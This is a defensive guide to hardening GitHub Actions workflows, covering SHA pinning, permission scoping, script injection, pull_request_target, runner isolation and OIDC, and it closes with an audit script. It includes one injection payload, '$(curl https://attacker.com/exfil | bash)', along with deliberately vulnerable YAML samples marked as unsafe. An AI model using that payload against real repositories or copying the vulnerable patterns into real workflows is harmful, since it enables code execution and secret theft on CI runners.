GitHub Actions workflows are code execution infrastructure. They have access to your secrets, cloud credentials, and often production deployments. Most teams treat them like configuration files.
That gap is where attackers operate.
This guide covers the specific checks I run on every GitHub Actions deployment I review — with the actual commands and YAML to do it yourself.
The threat model
Before hardening, understand what you're protecting against:
- Supply chain attacks — a compromised upstream action (
uses: org/action@v2) executes arbitrary code in your runner - Secret exfiltration — a workflow modification (via fork PR, compromised branch) can exfiltrate
GITHUB_TOKENand stored secrets - Script injection — workflow context variables injected into shell steps create RCE vectors
- Overly broad OIDC trust — a misconfigured trust relationship lets other repositories assume your cloud roles
1. Pin action versions to commit SHAs
Tags like @v4 are mutable — the repository owner can move a tag after you've reviewed and approved the workflow. A supply chain attack that compromises an upstream action repo can silently swap in malicious code on any tag.
# ❌ Vulnerable — tag can be moved
- uses: actions/checkout@v4
# ✅ Pinned to an exact commit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Find the SHA for a tag:
gh api repos/actions/checkout/git/refs/tags/v4.2.2 --jq '.object.sha'
Find all unpinned actions in your repo:
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
Prioritize external third-party actions that have access to secrets or cloud credentials. First-party GitHub actions (actions/checkout, actions/setup-node) carry lower risk, but pinning them costs nothing.
2. Scope permissions to the minimum
The default GITHUB_TOKEN grants write access to most repository resources. Without an explicit permissions block, your workflows have broader access than they need.
# At the top of every workflow
permissions: read-all
jobs:
build:
permissions:
contents: read
packages: write # Only on jobs that push to GHCR
Permissions that warrant extra scrutiny:
contents: write— can push to branches, create releases, modify codeid-token: write— grants OIDC token generation, which enables cloud authenticationactions: write— can create, modify, and delete workflowspull-requests: write— can approve PRs and merge them
write-all or a missing permissions block is a finding in every review I do.
3. Fix script injection
This is the one most teams miss. Injecting workflow context variables directly into run steps is a remote code execution vulnerability — not a theoretical one.
# ❌ Script injection — attacker-controlled input in shell
- name: Greet contributor
run: |
echo "Welcome, ${{ github.event.comment.body }}"
./process.sh "${{ github.event.issue.title }}"
A comment body of $(curl https://attacker.com/exfil | bash) executes in your runner.
The fix is to pass context values as environment variables, not inline interpolation. Environment variables are not interpreted as shell code:
# ✅ Safe — context values in env, not interpolated
- name: Greet contributor
env:
COMMENT: ${{ github.event.comment.body }}
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Welcome, $COMMENT"
./process.sh "$ISSUE_TITLE"
Find injection candidates in your workflows:
grep -rn "run:" .github/workflows/ -A 10 | grep '\${{ github\.'
Not every match is exploitable — github.sha and github.ref are controlled values. The dangerous ones are user-controlled: github.event.issue.title, github.event.comment.body, github.event.pull_request.title, github.head_ref.
4. Treat pull_request_target as a production credential
pull_request_target runs in the context of the base branch — with full access to repository secrets — even for fork PRs. This is designed for comment-on-PR workflows that need to write back to the repo. The danger: it's easy to accidentally check out and execute fork code in the same job.
# ❌ Fork code executing with access to secrets
on:
pull_request_target:
types: [opened, synchronize]
jobs:
preview:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ← fork code
- run: ./deploy-preview.sh # ← executes fork-controlled code
env:
CLOUD_SA_KEY: ${{ secrets.CLOUD_SA_KEY }} # ← exposed
If you use pull_request_target, don't check out the PR code in the same job that has secrets. Use a two-job pattern where the privileged job only acts on safe inputs — not arbitrary fork code.
5. Audit self-hosted runner isolation
GitHub-hosted runners are ephemeral — fresh per job, from a known image. Self-hosted runners are your responsibility. Things to check:
- Persistent state between jobs — does the workspace directory get cleaned between runs? Do any credential files survive?
- Org-level registration — runners registered at the org level can be used by any repository in the org. Is that intentional?
- Network access — can the runner reach your internal network or production systems without restriction?
- Privileged containers — Docker-in-Docker and
--privilegedruns significantly expand the blast radius
The minimum acceptable baseline: ephemeral runners that start fresh per job. Persistent self-hosted runners shared across repos create a "one compromised workflow → everything" scenario.
6. Replace long-lived secrets with OIDC
Long-lived credentials stored in GitHub → Settings → Secrets are a persistent risk. They never expire, they're accessible to any workflow in the repository, and they appear in environment variable dumps.
OIDC replaces stored credentials with short-lived tokens tied to a specific workflow execution. GCP, AWS, npm, and PyPI all support it.
The full OIDC implementation — Workload Identity Federation, trust policy scoping, and the least-privilege identity matrix — is covered in detail in GitHub Actions OIDC: Ditch the Long-Lived Secrets. It's the most impactful change most teams can make to their CI/CD security posture.
Quick audit script
Run this against any repository to surface the most common issues:
#!/bin/bash
WORKFLOWS=".github/workflows"
echo "=== Unpinned actions ==="
grep -rh "uses:" $WORKFLOWS | grep -v "@[a-f0-9]\{40\}" | sort -u
echo ""
echo "=== Missing permissions blocks ==="
for f in $WORKFLOWS/*.yml $WORKFLOWS/*.yaml; do
[ -f "$f" ] || continue
if ! grep -q "permissions:" "$f"; then
echo " $f"
fi
done
echo ""
echo "=== Script injection candidates (user-controlled context) ==="
grep -rn "run:" $WORKFLOWS -A 10 | \
grep "\${{ github\.event\." | \
grep -v "# safe"
echo ""
echo "=== pull_request_target workflows ==="
grep -rl "pull_request_target" $WORKFLOWS 2>/dev/null
echo ""
echo "=== Workflows with write-all or no permissions ==="
grep -rl "write-all" $WORKFLOWS 2>/dev/null
These checks cover the patterns I find in every GitHub Actions review. None require sophisticated tooling — the issues are in the workflow YAML, and the YAML is readable.
For a systematic review of your CI/CD security posture — including org-wide action usage, OIDC trust configurations, and supply chain risk — see our CI/CD security service.